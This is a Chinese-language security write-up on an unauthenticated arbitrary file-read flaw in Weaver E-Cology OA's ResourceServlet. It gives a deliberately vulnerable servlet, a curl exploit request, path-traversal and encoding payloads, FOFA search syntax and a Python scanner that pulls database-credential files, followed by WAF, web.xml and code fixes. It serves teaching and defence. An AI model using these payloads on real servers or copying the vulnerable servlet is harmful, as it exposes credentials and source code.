泛微OA ResourceServlet任意文件读取漏洞深度剖析与实战复现

1. 项目概述:一次对泛微OA E-Cology ResourceServlet接口的深度安全审计

最近在梳理一些企业级应用的历史漏洞时,泛微OA E-Cology的ResourceServlet接口任意文件读取漏洞(网上常提到的CVE-2026-27654)引起了我的注意。这个漏洞虽然原理不复杂,但影响面广,且其利用方式非常典型,是理解Java Web应用路径遍历和敏感信息泄露风险的绝佳案例。很多企业,尤其是政企、金融、大型制造业,内部办公流程重度依赖泛微OA,一旦这个漏洞被利用,攻击者可以直接读取服务器上的配置文件、数据库连接信息,甚至源码,后果不堪设想。我花了些时间,结合公开的POC和自建环境,对这个漏洞进行了完整的复现和分析。这篇文章,我会从一个安全研究者的角度,带你彻底拆解这个漏洞的成因、影响、利用方式,并分享在实战渗透测试中如何高效地发现和验证此类问题,以及最重要的——企业该如何修复和防御。无论你是安全工程师、渗透测试人员,还是负责运维泛微OA系统的管理员,这篇文章都能给你提供直接的参考。

2. 漏洞原理深度剖析:为什么ResourceServlet会“失守”

2.1 ResourceServlet的设计初衷与功能定位

要理解漏洞,首先得知道这个ResourceServlet是干什么的。在Spring MVC框架(特别是早期版本)或基于其思想的自定义实现中,ResourceServlet这类组件通常被设计用于处理静态资源的请求。它的核心职责是:根据客户端请求的路径参数,定位到Web应用目录(WEB-INF目录之外)或类路径(Classpath)下的静态文件(如.js,.css, 图片等),并将其内容读取并返回给客户端。

在理想的安全模型下,这类Servlet应该严格限制资源访问的范围,比如只允许访问/static//resources/这类公开目录。开发者本意可能是为了方便某些特定场景下的资源加载,但问题就出在,这个“方便”如果没有加上严格的访问控制,就变成了危险的“任意”。

2.2 漏洞触发的核心:未过滤的路径参数

我们来看漏洞的核心POC请求:

GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1

关键点在于resource这个请求参数。漏洞的成因可以归结为以下几点:

  1. 路径遍历未校验:Servlet在接收到resource参数后,直接将其拼接在某个基础路径(如Web应用的根目录)后,形成最终的文件系统路径。它没有对参数值进行有效的校验,比如检查是否包含../(上一级目录)或WEB-INFMETA-INF等敏感目录。
  2. WEB-INF目录的特殊性认识不足:在Java Web应用规范中,WEB-INF目录是一个受保护的目录,其下的内容(除web.xmllibclasses目录下的资源外)不能通过客户端的直接请求访问。这是容器(如Tomcat)提供的一层安全保护。然而,ResourceServlet作为应用自身的一个Servlet,它拥有直接通过ServletContext.getResourceAsStream()等方法读取WEB-INF目录下任何文件的能力。当攻击者通过参数指定了/WEB-INF/下的路径时,Servlet便绕过了容器的保护,直接读取并返回了文件内容。
  3. 权限控制缺失:该接口通常没有与OA系统的会话认证机制绑定。也就是说,攻击者无需登录,发送一个HTTP请求即可触发漏洞。这使得漏洞的危险等级从“授权后”提升到了“未授权”,极大地降低了利用门槛。

简单来说,这个漏洞就像是仓库管理员(ResourceServlet)被设计成可以根据提货单(resource参数)去仓库里取货。但提货单上没盖“禁止进入危险品仓库(WEB-INF)”的章,管理员也懒得看提货单具体写了啥,直接照单全收,结果把危险品(配置文件)给搬出来了。

注意:这里需要澄清一个常见的误解。网上有些资料会简单地说“Spring的ResourceServlet有漏洞”。实际上,更常见的情况是,泛微OA的开发人员参考或自定义实现了一个名为org.springframework.web.servlet.ResourceServlet的Servlet(类名可能是为了兼容性或历史原因而这样命名),但这个实现并未遵循Spring官方的最佳安全实践,或者使用的是存在缺陷的旧版本/自定义版本。因此,漏洞的根源在于泛微OA自身的代码实现,而非直接等同于Spring框架的通用漏洞。

2.3 影响范围与潜在危害

这个漏洞的影响是立竿见影且多层次的:

  1. 敏感配置泄露:首当其冲的就是weaver.propertiesjdbc.properties等配置文件。这些文件里往往明文存放着数据库连接字符串、用户名和密码。拿到数据库密码,攻击者几乎可以掌控整个OA系统的数据。
  2. 源码泄露:通过构造路径,可以读取WEB-INF/classes目录下的.class字节码文件。虽然反编译需要额外步骤,但对于有经验的黑客来说,这等于拿到了系统的“设计图纸”,可以从中分析出更多的业务逻辑漏洞、硬编码密钥等。
  3. 其他敏感文件读取:如日志文件、XML配置文件、甚至服务器上的其他文件(如果应用有足够权限,通过../../../可以遍历到系统其他目录)。
  4. 成为攻击跳板:泄露的数据库凭据可能被用来攻击内网其他系统(如果数据库可外连或处于同一内网);泄露的源码可能暴露其他未公开的API或接口,扩大攻击面。

3. 漏洞复现与环境搭建实操

纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,亲手复现一遍是最好的方式。

3.1 实验环境准备

由于直接测试生产环境是非法且不道德的,我们必须搭建一个本地或隔离的测试环境。

方案一:使用官方安装包(推荐用于深入学习)

  1. 获取安装包:从泛微官方或授权的合作伙伴处获取对应版本的E-Cology安装包(例如E9)。请注意,这仅用于合法的安全研究和测试。
  2. 准备基础环境:你需要一台Windows Server或Linux服务器,安装好Java运行环境(JRE/JDK 1.8)、数据库(如SQL Server或Oracle)和Web容器(如Tomcat)。
  3. 安装与部署:按照官方手册进行安装。这个过程可能比较复杂,涉及数据库初始化、配置向导等。但对于理解OA系统的整体架构非常有帮助。

方案二:使用漏洞靶场环境对于快速复现漏洞,使用现成的漏洞靶场或Docker镜像效率更高。你可以在一些开源漏洞靶场项目(如Vulhub、vulapps)中寻找泛微OA的历史漏洞环境。虽然可能不是100%与最新POC匹配,但原理相通,足以用于理解。

方案三:代码级模拟(用于原理研究)如果你更关注漏洞原理本身,可以自己写一个简单的Servlet来模拟有缺陷的ResourceServlet

@WebServlet("/ResourceServlet") public class ResourceServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String resourcePath = request.getParameter("resource"); if (resourcePath != null) { // 漏洞点:直接使用用户输入拼接路径,未做任何过滤 String fullPath = getServletContext().getRealPath("/") + resourcePath; File file = new File(fullPath); if (file.exists() && file.isFile()) { Files.copy(file.toPath(), response.getOutputStream()); } } } }

将这个Servlet部署到Tomcat,你就能在自己的机器上安全地体验路径遍历攻击了。

3.2 漏洞验证与利用步骤

假设你已经有了一个测试目标(例如本地搭建的靶机,IP为192.168.1.100)。

步骤1:目标识别使用FOFA、Shodan或鹰图等网络空间测绘引擎进行初步搜索:

app="泛微-OA(e-cology)"

或者在已知目标上,访问其OA登录页面,观察特征。

步骤2:发送POC请求使用浏览器、curl命令或Burp Suite等工具发送攻击请求。 使用curl的命令行示例如下:

curl -v "http://192.168.1.100/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"

使用Burp Suite的Repeater模块则更加方便,可以灵活修改请求、观察响应。

步骤3:分析响应结果

  • 漏洞存在:如果响应状态码为200,并且返回了weaver.properties文件的内容(通常包含jdbcdatabase等关键词),则证明漏洞存在。
  • 漏洞不存在:如果返回404、403、500错误,或者返回了一个错误页面,则可能该接口已被修复、路径不对、或版本不匹配。

步骤4:扩大战果(信息收集)一旦确认漏洞存在,就可以尝试读取其他敏感文件,构建一个信息收集的清单:

  • /WEB-INF/classes/weaver.properties(另一个常见位置)
  • /WEB-INF/classes/jdbc.properties
  • /WEB-INF/web.xml(应用的部署描述文件,包含其他Servlet映射)
  • /WEB-INF/classes/xxx/yyy.class(业务逻辑源码)
  • 尝试路径遍历:?resource=../../../../../../etc/passwd(Linux) 或?resource=../../../../../../windows/win.ini(Windows),以测试是否能读取系统文件。

实操心得:在实际测试中,不要只尝试一个POC就下结论。有时路径前缀可能不是/weaver,而是/oa/eclipse等,需要结合网站实际部署情况调整。此外,使用Burp Suite的Intruder模块,加载一个包含常见配置文件和路径遍历Payload的字典进行模糊测试,是高效发现此类漏洞的常用手法。

4. POC的编写与优化思路

网上流传的POC通常只是一个简单的HTTP请求示例。对于一个严谨的安全研究员或渗透测试工具开发者来说,一个健壮的POC脚本需要考虑更多。

4.1 基础POC脚本示例(Python)

import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_vulnerability(url): """ 检查目标URL是否存在ResourceServlet任意文件读取漏洞 """ # 定义要尝试读取的敏感文件列表 sensitive_files = [ '/WEB-INF/prop/weaver.properties', '/WEB-INF/classes/weaver.properties', '/WEB-INF/web.xml', '/WEB-INF/classes/jdbc.properties', ] vuln_urls = [] for file_path in sensitive_files: target_url = url.rstrip('/') + '/weaver/org.springframework.web.servlet.ResourceServlet' params = {'resource': file_path} try: resp = requests.get(target_url, params=params, timeout=10, verify=False) # 判断漏洞存在的启发式规则(可根据实际情况调整) if resp.status_code == 200: content = resp.text # 检查响应内容是否像配置文件 if ('jdbc' in content or 'database' in content or 'password' in content) and ('html' not in content.lower()): print(f'[+] 漏洞存在!成功读取: {file_path}') print(f' 响应长度: {len(content)}') print(f' 前500字符预览:\n{content[:500]}\n') vuln_urls.append((target_url, file_path, content)) elif 'xml' in resp.headers.get('Content-Type', '') and 'web-app' in content: print(f'[+] 漏洞存在!成功读取: {file_path} (Web.xml)') vuln_urls.append((target_url, file_path, content)) else: # 返回200但内容不对,可能是默认页面,记录以供分析 print(f'[?] 可疑响应 (200) 于 {file_path}, 但内容不典型。长度: {len(content)}') elif resp.status_code == 404: # 接口不存在 print(f'[-] 接口不存在 (404) 于 {file_path}') break # 如果第一个标准路径就404,可能整体路径不对 else: print(f'[-] 请求 {file_path} 失败,状态码: {resp.status_code}') except requests.exceptions.RequestException as e: print(f'[!] 请求发生异常: {e}') break return vuln_urls if __name__ == '__main__': if len(sys.argv) != 2: print(f'用法: python {sys.argv[0]} <目标URL>') print(f'示例: python {sys.argv[0]} http://oa.target.com') sys.exit(1) target = sys.argv[1] print(f'[*] 开始检测目标: {target}') results = check_vulnerability(target) if results: print(f'\n[总结] 共发现 {len(results)} 个可读的敏感文件。') # 可以选择将结果保存到文件 # with open('result.txt', 'w') as f: ... else: print('[-] 未发现明显的漏洞迹象。')

4.2 POC优化要点

  1. 智能路径探测:基础的POC假设路径是/weaver/...。优化版可以尝试从首页HTML中提取路径线索,或使用一个常见路径字典(如/,/oa/,/eclipse/,/weaver/,/ecology/)进行爆破。
  2. 响应指纹识别:不能仅凭状态码200判断。需要分析响应内容,识别是否是真正的配置文件(包含特定关键字)还是被重定向到了错误/登录页面。上述脚本中的启发式规则(检查jdbc,database关键字,同时排除HTML页面)就是一个例子。
  3. 会话处理:虽然该漏洞通常是未授权的,但有些环境可能配置了粗粒度的IP限制或简单的WAF。POC可以尝试维持一个会话(requests.Session())来模拟更真实的浏览器行为。
  4. 延时与重试:加入随机延时和失败重试机制,避免请求过快被屏蔽。
  5. 结果输出与保存:将成功读取的文件内容结构化的保存下来(如按文件名保存到本地),便于后续分析。
  6. 路径遍历自动化:集成一个路径遍历Payload生成器,自动尝试读取/etc/passwd,C:\\boot.ini等系统标志性文件,以验证最高权限。

注意事项:在编写和运行此类POC时,务必确保你拥有目标的测试授权。未经授权的测试是违法的。此代码仅用于教育目的,请在完全可控的实验室环境中运行。

5. 漏洞修复与安全加固指南

对于企业安全运维人员来说,发现漏洞后的修复至关重要。以下是针对此漏洞的修复建议,从紧急临时措施到根本解决方案。

5.1 紧急临时处置方案

如果漏洞正在被利用或需要立即止损,可以考虑以下方法:

  1. WAF/防火墙规则拦截:在Web应用防火墙(WAF)或网络防火墙上,添加一条规则,拦截包含/weaver/org.springframework.web.servlet.ResourceServletresource参数值包含WEB-INF..(两个点)等敏感字符的请求。这是一种外围防护,能快速阻断已知攻击模式。
  2. 应用层访问控制:如果具备条件,可以在OA系统的前置代理(如Nginx)或应用本身(通过Filter)添加一个过滤器,对访问ResourceServlet的请求进行校验,例如检查Session中用户是否已登录,或者直接禁用该接口的对外访问。
    <!-- 示例:在web.xml中通过security-constraint限制访问(需重启)--> <security-constraint> <web-resource-collection> <web-resource-name>Restricted ResourceServlet</web-resource-name> <url-pattern>/weaver/org.springframework.web.servlet.ResourceServlet</url-pattern> </web-resource-collection> <auth-constraint> <!-- 不给任何角色权限,即禁止所有访问 --> <role-name>NOBODY</role-name> </auth-constraint> </security-constraint>

5.2 根本解决方案:升级与代码修复

临时措施治标不治本,根本解决需要从代码层面入手。

  1. 官方补丁升级这是最推荐、最安全的方式。联系泛微官方技术支持,获取针对该漏洞(或相关CVE编号)的官方补丁包并立即部署。官方补丁会直接修复ResourceServlet的实现逻辑。
  2. 自行代码修复(如果无法立即升级):如果无法立即升级,且你有能力修改部署的代码(通常需要对WAR包进行反编译/重编译,风险高,不推荐生产环境使用),修复思路如下:
    • 输入验证与过滤:在ResourceServlet处理resource参数的地方,加入严格的校验。
      • 禁止参数以/WEB-INF//META-INF/开头。
      • 禁止参数中包含..(路径遍历符)。
      • 使用白名单机制,只允许访问特定的、公开的资源目录,如/static/,/images/等。
    • 规范化路径检查:使用java.nio.file.Path.normalize()toAbsolutePath()等方法对最终路径进行规范化,然后检查规范化后的路径是否仍在预期的安全目录内。
    • 示例伪代码
      String resourceParam = request.getParameter("resource"); // 1. 基础校验 if (resourceParam == null || resourceParam.contains("..") || resourceParam.contains("WEB-INF") || resourceParam.contains("META-INF")) { response.sendError(403, "Forbidden"); return; } // 2. 白名单校验(更安全) Path safeBaseDir = Paths.get(getServletContext().getRealPath("/safe_resources/")).toAbsolutePath().normalize(); Path requestedPath = Paths.get(getServletContext().getRealPath("/"), resourceParam).toAbsolutePath().normalize(); if (!requestedPath.startsWith(safeBaseDir)) { response.sendError(403, "Forbidden"); return; } // 3. 安全地读取文件
  3. 删除或禁用不必要的Servlet:如果OA系统根本不需要ResourceServlet这个功能(很多情况下它可能是遗留组件),最彻底的方法是在web.xml中注释掉或删除该Servlet的映射配置,然后重启应用。

5.3 长期安全加固建议

  1. 最小权限原则:运行OA应用的服务器账户(如Tomcat的tomcat用户)应仅拥有必要的最小文件系统读写权限,限制其访问系统关键目录的能力。
  2. 定期安全评估与漏洞扫描:建立制度,定期对OA系统进行安全扫描和渗透测试,主动发现潜在风险。
  3. 纵深防御:不要依赖单一安全措施。结合网络层的WAF、主机层的HIDS(入侵检测系统)、应用层的代码安全审计,构建多层防御体系。
  4. 关注官方安全公告:订阅泛微官方的安全更新渠道,及时获取漏洞信息和补丁通知。

6. 漏洞挖掘与防御的延伸思考

这个漏洞虽然具体,但它反映出的是一类非常普遍的安全问题:不安全的直接对象引用(IDOR)和路径遍历。在挖掘和防御时,我们可以有更广阔的视角。

6.1 如何挖掘类似漏洞

  1. 接口枚举:使用爬虫(如Burp Suite的爬虫功能)或目录扫描工具(如Dirsearch, Gobuster)尽可能多地收集目标系统的接口URL。特别关注那些包含servlet,action,file,resource,download,read,load等关键词的路径。
  2. 参数分析:对找到的接口,分析其参数。重点关注那些看起来像是文件路径、文件名、ID的参数,如file,path,url,resource,name,id等。
  3. 模糊测试(Fuzzing):使用工具(如Burp Intruder, ffuf)对目标参数进行模糊测试。Payload集应包括:
    • 路径遍历:../../../../etc/passwd,....//....//....//windows/win.ini
    • 敏感路径:WEB-INF/web.xml,WEB-INF/classes/application.properties,config.json
    • 编码绕过:对上述Payload进行URL编码、双重编码、UTF-8编码等尝试。
  4. 逻辑推理:如果发现一个接口能读取/static/logo.png,尝试修改参数为/static/../WEB-INF/web.xml。关注接口返回的错误信息,有时会泄露真实的服务器路径。

6.2 开发层面的根本防御

对于开发者而言,避免此类漏洞需要在编码阶段就植入安全思维:

  1. 永远不要信任用户输入:这是安全的第一原则。所有来自客户端(浏览器、API调用)的参数都必须经过严格的验证和过滤。
  2. 使用白名单,而非黑名单:定义允许访问的资源列表或目录,拒绝所有不在列表中的请求。黑名单(禁止某些关键词)很容易被绕过。
  3. 使用框架提供的安全机制:现代框架(如Spring)提供了安全的资源处理方式。例如,使用ResourceHttpRequestHandler来安全地提供静态资源,而不是自己写Servlet。
  4. 进行代码安全审计:在代码提交和发布流程中,引入静态应用程序安全测试(SAST)工具,自动检测潜在的路径遍历、SQL注入等漏洞。
  5. 安全培训:让开发团队了解常见的Web漏洞(OWASP Top 10)及其危害,在需求评审和设计阶段就考虑安全性。

回过头来看泛微OA的这个ResourceServlet漏洞,它就像一面镜子,照见了在追求功能便捷时忽视安全边界的经典失误。修复一个具体的漏洞或许不难,但建立起持续的安全开发与运维体系,才是应对层出不穷的安全挑战的根本之道。在实战中,遇到这类漏洞,清晰的排查思路、严谨的验证流程和有效的修复方案,是每个安全从业者都应具备的基本素养。